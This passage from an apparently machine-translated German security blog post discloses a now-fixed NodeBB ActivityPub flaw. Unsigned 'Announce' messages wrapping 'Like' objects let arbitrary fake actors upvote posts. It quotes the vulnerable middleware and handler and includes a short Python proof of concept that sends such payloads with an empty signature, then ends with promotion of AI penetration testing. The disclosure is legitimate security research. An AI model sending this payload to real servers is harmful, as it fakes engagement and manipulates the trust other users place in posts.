In einer solchen Nachricht geben Sie eine Schauspieler der die Person repräsentiert, die die Aktion ausgeführt hat. Die Middleware autorisiert diesen Akteur mithilfe des „Signature“-Headers, der keyId, genauer gesagt die req.body.actor Feld:
middleware.assertPayload = helpers.try(async function (req, res, next) {
...
let { actor } = req.body;
const { hostname } = new URL(actor);
const allowed = await activitypub.instances.isAllowed(hostname);
await activitypub.actors.assert(actor);
let compare = await db.getObjectsFields([
`userRemote:${actor}:keys`, `categoryRemote:${actor}:keys`,
], ['id']);
compare = compare.reduce(...).replace(/#[\w-]+$/, '');
if (compare !== keyId) {
return res.sendStatus(403);
}Das funktioniert beim ersten Endpunkt hervorragend, da dessen Schauspieler Die Eigenschaft muss überprüft werden. Hier ist eine Beispielmeldung:
{
"id": "https://nodebb.local/uid/42#activity/like/3",
"type": "Like",
"actor": "https://nodebb.local/uid/42",
"to": ["https://www.w3.org/ns/activitystreams#Public"],
"cc": ["https://nodebb.local/uid/7"],
"object": "https://nodebb.local/post/3"
}Das Format einer „Announce“-Nachricht ist jedoch anders, die Likes Schauspieler ist in einem Objekt:
{
"id": "https://nodebb.local/post/3#activity/announce/1717234567890",
"type": "Announce",
"actor": "https://nodebb.local/category/1",
"to": ["https://nodebb.local/category/1/followers"],
"cc": [
"https://nodebb.local/uid/42",
"https://www.w3.org/ns/activitystreams#Public"
],
"object": {
"id": "https://nodebb.local/uid/42#activity/like/3",
"type": "Like",
"actor": "https://nodebb.local/uid/42",
"to": ["https://www.w3.org/ns/activitystreams#Public"],
"cc": ["https://nodebb.local/uid/7"],
"object": "https://nodebb.local/post/3"
}
}Da beide dasselbe verwenden assertPayload Middleware, die zweite Methode unter Verwendung des „Announce“-Formats ist nicht verifiziert. Das Schauspieler kann eine beliebige, zufällige, eindeutige Zeichenfolge sein, die als neuer Benutzer dient. Hier ist die Gefällt mir Der Objekttyp wird erkannt und direkt verwendet Objekt.Aktor in posts.upvote():
case object.type === 'Like': {
const id = object.object.id || object.object;
const { id: localId } = await activitypub.helpers.resolveLocalId(id);
const exists = await posts.exists(localId || id);
if (exists) {
try {
await activitypub.actors.assert(object.actor);
const result = await posts.upvote(localId || id, object.actor);Ein Angreifer kann wiederholt solche Anfragen senden, um die Anzahl der „Likes“ für einen Beitrag stetig zu erhöhen – mit Tausenden pro Minute –, um so die Vertrauenswürdigkeit eines Beitrags künstlich in die Höhe zu treiben.
POST_ID = 1 # Target post
payload = {
'id': str(uuid.uuid4()),
'type': 'Announce',
'actor': 'https://nodebb.local/uid/999',
'object': {
'id': f'https://nodebb.local/object/{uuid.uuid4()}',
'type': 'Like',
'actor': f'https://nodebb.local/fake-{uuid.uuid4()}',
'object': f'https://nodebb.local/post/{POST_ID}'
}
}
headers = {'Content-Type': 'application/activity+json',
'Signature': 'keyId=""'}
r = requests.post('https://nodebb.local/category/1/inbox',
headers=headers, json=payload)
Dieses Problem wurde behoben (8e98325), indem der „Signature“-Header bei POST-Anfragen nun stets überprüft wird.
Fazit
Mit dem Vormarsch der KI nimmt die Geschwindigkeit von Penetrationstests stetig zu. Sie können plötzlich eine Gruppe von 400 kleinen Penetrationstestern beauftragen, Ihre Anwendung zu überprüfen – und das zum Preis eines herkömmlichen Penetrationstests. Entwickler können weiterhin zügig Code ausliefern, während KI-basierte Penetrationstest-Agenten Schritt halten und neue Funktionen auf Sicherheitslücken prüfen – selbst die kleinsten und komplexesten. Bei Aikido bieten wir „AutoFixes“ und einfache Wiederholungstests an, um die Behebung aller identifizierten Schwachstellen zu unterstützen.
NodeBB hat sehr schnell auf unseren Bericht reagiert, was wir sehr zu schätzen wussten. Sie baten um Klarstellung zu einigen Punkten, und wir konnten Feedback zu den Korrekturen geben, um sicherzustellen, dass es keine trivialen Umgehungsmöglichkeiten gibt.
Eine letzte Erkenntnis: Bei diesem Penetrationstest haben wir zahlreiche Schwachstellen in der ActivityPub-Implementierung entdeckt, und wir glauben, dass sich diese Erkenntnis verallgemeinern und auf weitere Anwendungen übertragen lässt. Wann immer es mehrere Möglichkeiten gibt, etwas zu tun, ist die gängigste oder integrierte Methode oft sehr sicher, während die alternative Vorgehensweise mit Fehlern gespickt ist. Stellen Sie sicher, dass alle Ihre externen Integrationen und alternativen Wege genauso sicher sind wie Ihre Hauptwege!
Unser KI-Penetrationstests hat dies eigenständig entdeckt. Wenn Sie hochwertige und schnelle Penetrationstests für Ihre Anwendung durchführen möchten, sollten Sie sich die Penetrationstest-SuiteAikido einmal ansehen.

